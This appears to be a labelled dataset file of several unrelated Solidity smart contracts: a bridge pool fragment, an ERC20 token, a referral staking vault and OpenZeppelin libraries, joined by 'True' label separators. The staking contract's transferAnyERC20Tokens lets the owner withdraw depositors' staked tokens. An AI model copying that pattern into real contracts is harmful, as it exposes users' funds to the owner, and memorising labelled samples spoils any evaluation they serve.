// Allocate fees to the LPs by incrementing counters.
function _allocateLpFees(uint256 allocatedLpFees) internal {
// Add to the total undistributed LP fees and the utilized reserves. Adding it to the utilized reserves acts to
// track the fees while they are in transit.
undistributedLpFees += allocatedLpFees;
utilizedReserves += int256(allocatedLpFees);
}
function _getAmountFromPct(uint64 percent, uint256 amount) private pure returns (uint256) {
return (percent * amount) / 1e18;
}
function _getProposerBond(uint256 amount) private view returns (uint256) {
return _getAmountFromPct(proposerBondPct, amount);
}
function _getDepositHash(DepositData memory depositData) private view returns (bytes32) {
return keccak256(abi.encode(depositData, address(l1Token)));
}
// Proposes new price of True for relay event associated with `customAncillaryData` to optimistic oracle. If anyone
// disagrees with the relay parameters and whether they map to an L2 deposit, they can dispute with the oracle.
function _requestProposeDispute(
address proposer,
address disputer,
uint256 proposerBond,
uint256 finalFee,
bytes memory customAncillaryData
) private returns (bool) {
uint256 totalBond = finalFee + proposerBond;
l1Token.safeApprove(address(optimisticOracle), totalBond);
try
optimisticOracle.requestAndProposePriceFor(
identifier,
uint32(getCurrentTime()),
customAncillaryData,
IERC20(l1Token),
// Set reward to 0, since we'll settle proposer reward payouts directly from this contract after a relay
// proposal has passed the challenge period.
0,
// Set the Optimistic oracle proposer bond for the price request.
proposerBond,
// Set the Optimistic oracle liveness for the price request.
optimisticOracleLiveness,
proposer,
// Canonical value representing "True"; i.e. the proposed relay is valid.
int256(1e18)
)
returns (uint256 bondSpent) {
if (bondSpent < totalBond) {
// If the OO pulls less (due to a change in final fee), refund the proposer.
uint256 refund = totalBond - bondSpent;
l1Token.safeTransfer(proposer, refund);
l1Token.safeApprove(address(optimisticOracle), 0);
totalBond = bondSpent;
}
} catch {
// If there's an error in the OO, this means something has changed to make this request undisputable.
// To ensure the request does not go through by default, refund the proposer and return early, allowing
// the calling method to delete the request, but with no additional recourse by the OO.
l1Token.safeTransfer(proposer, totalBond);
l1Token.safeApprove(address(optimisticOracle), 0);
// Return early noting that the attempt at a proposal + dispute did not succeed.
return false;
}
SkinnyOptimisticOracleInterface.Request memory request =
SkinnyOptimisticOracleInterface.Request({
proposer: proposer,
disputer: address(0),
currency: IERC20(l1Token),
settled: false,
proposedPrice: int256(1e18),
resolvedPrice: 0,
expirationTime: getCurrentTime() + optimisticOracleLiveness,
reward: 0,
finalFee: totalBond - proposerBond,
bond: proposerBond,
customLiveness: uint256(optimisticOracleLiveness)
});
// Note: don't pull funds until here to avoid any transfers that aren't needed.
l1Token.safeTransferFrom(msg.sender, address(this), totalBond);
l1Token.safeApprove(address(optimisticOracle), totalBond);
// Dispute the request that we just sent.
optimisticOracle.disputePriceFor(
identifier,
uint32(getCurrentTime()),
customAncillaryData,
request,
disputer,
address(this)
);
// Return true to denote that the proposal + dispute calls succeeded.
return true;
}
// Unwraps ETH and does a transfer to a recipient address. If the recipient is a smart contract then sends WETH.
function _unwrapWETHTo(address payable to, uint256 amount) internal {
if (address(to).isContract()) {
l1Token.safeTransfer(to, amount);
} else {
WETH9Like(address(l1Token)).withdraw(amount);
to.transfer(amount);
}
}
// Added to enable the BridgePool to receive ETH. used when unwrapping Weth.
receive() external payable {}
}
/**
* @notice This is the BridgePool contract that should be deployed on live networks. It is exactly the same as the
* regular BridgePool contract, but it overrides getCurrentTime to make the call a simply return block.timestamp with
* no branching or storage queries. This is done to save gas.
*/
contract BridgePoolProd is BridgePool {
constructor(
string memory _lpTokenName,
string memory _lpTokenSymbol,
address _bridgeAdmin,
address _l1Token,
uint64 _lpFeeRatePerSecond,
bool _isWethPool,
address _timer
) BridgePool(_lpTokenName, _lpTokenSymbol, _bridgeAdmin, _l1Token, _lpFeeRatePerSecond, _isWethPool, _timer) {}
function getCurrentTime() public view virtual override returns (uint256) {
return block.timestamp;
}
} | True | [
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pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract StandardBurnableToken is BurnableToken, StandardToken {
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
}
contract MinesteriaCoin is StandardBurnableToken {
string public constant name = "Minesteria coin";
string public constant symbol = "MINE";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
} | True | [
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] |
pragma solidity 0.6.12;
// SPDX-License-Identifier: BSD-3-Clause
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public admin;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
admin = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(admin, newOwner);
admin = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract VAULTB is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
event Upline(address indexed addr, address indexed upline);
event RewardAllocation(address indexed ref, address indexed _addr, uint bonus);
address public tokenAddress;
address public liquiditytoken1;
// reward rate % per year
uint public rewardRate = 60000;
uint public rewardInterval = 365 days;
// staking fee percent
uint public stakingFeeRate = 0;
// unstaking fee percent
uint public unstakingFeeRate = 0;
// unstaking possible Time
uint public PossibleUnstakeTime = 24 hours;
uint public totalClaimedRewards = 0;
uint private FundedTokens;
bool public stakingStatus = false;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => address) public referer;
mapping (address => uint) public referrals;
mapping (address => uint) public rewardBonuses;
uint ref_bonus = 1;
/*=============================ADMINISTRATIVE FUNCTIONS ==================================*/
function setTokenAddresses(address _tokenAddr, address _liquidityAddr) public onlyOwner returns(bool){
require(_tokenAddr != address(0) && _liquidityAddr != address(0), "Invalid addresses format are not supported");
tokenAddress = _tokenAddr;
liquiditytoken1 = _liquidityAddr;
}
function stakingFeeRateSet(uint _stakingFeeRate, uint _unstakingFeeRate) public onlyOwner returns(bool){
stakingFeeRate = _stakingFeeRate;
unstakingFeeRate = _unstakingFeeRate;
}
function refSet(uint _value) public onlyOwner returns(bool){
ref_bonus = _value;
}
function rewardRateSet(uint _rewardRate) public onlyOwner returns(bool){
rewardRate = _rewardRate;
}
function StakingReturnsAmountSet(uint _poolreward) public onlyOwner returns(bool){
FundedTokens = _poolreward;
}
function possibleUnstakeTimeSet(uint _possibleUnstakeTime) public onlyOwner returns(bool){
PossibleUnstakeTime = _possibleUnstakeTime;
}
function rewardIntervalSet(uint _rewardInterval) public onlyOwner returns(bool){
rewardInterval = _rewardInterval;
}
function allowStaking(bool _status) public onlyOwner returns(bool){
require(tokenAddress != address(0) && liquiditytoken1 != address(0), "Interracting token addresses are not yet configured");
stakingStatus = _status;
}
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getFundedTokens()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
function updateAccount(address account) private {
uint unclaimedDivs = getUnclaimedDivs(account);
if (unclaimedDivs > 0) {
require(Token(tokenAddress).transfer(account, unclaimedDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(unclaimedDivs);
totalClaimedRewards = totalClaimedRewards.add(unclaimedDivs);
emit RewardsTransferred(account, unclaimedDivs);
_refPayout(account, unclaimedDivs);
}
lastClaimedTime[account] = now;
}
function updateRef(address account) private {
uint unclaimedRef = rewardBonuses[account];
if (unclaimedRef > 0) {
require(Token(tokenAddress).transfer(account, unclaimedRef), "Could not transfer tokens.");
rewardBonuses[account] = rewardBonuses[account].sub(unclaimedRef);
}
}
function getUnclaimedDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint unclaimedDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return unclaimedDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function deposit(uint amountToStake, address _upline) public{
_setUpline(msg.sender, _upline);
_deposit(amountToStake);
}
function _deposit(uint amountToStake) internal {
require(stakingStatus == true, "Staking is not yet initialized");
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(referer[msg.sender] != address(0) || msg.sender == admin, "No upline, you need an upline");
require(Token(liquiditytoken1).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
uint fee = amountToStake.mul(stakingFeeRate).div(1e4);
uint amountAfterFee = amountToStake.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer deposit fee.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function withdraw(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
require(now.sub(stakingTime[msg.sender]) > PossibleUnstakeTime, "You have not staked for a while yet, kindly wait a bit more");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(liquiditytoken1).transfer(admin, fee), "Could not transfer withdraw fee.");
require(Token(liquiditytoken1).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claim() public {
updateAccount(msg.sender);
claimRef();
}
function claimRef() public {
updateRef(msg.sender);
}
function getFundedTokens() public view returns (uint) {
if (totalClaimedRewards >= FundedTokens) {
return 0;
}
uint remaining = FundedTokens.sub(totalClaimedRewards);
return remaining;
}
function _setUpline(address _addr, address _upline) public {
if(referer[_addr] == address(0) && _upline != _addr && (stakingTime[_upline] > 0 || _upline == admin)) {
referer[_addr] = _upline;
referrals[_upline]++;
emit Upline(_addr, _upline);
}
}
function _refPayout(address _addr, uint256 _amount) private {
address ref = referer[_addr];
if(ref != address(0)){
uint256 bonus = _amount * ref_bonus / 100;
rewardBonuses[ref] += bonus;
emit RewardAllocation(ref, _addr, bonus);
}
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
// File: @openzeppelin/contracts/utils/cryptography/MerkleProof.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: @openzeppelin/contracts/utils/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
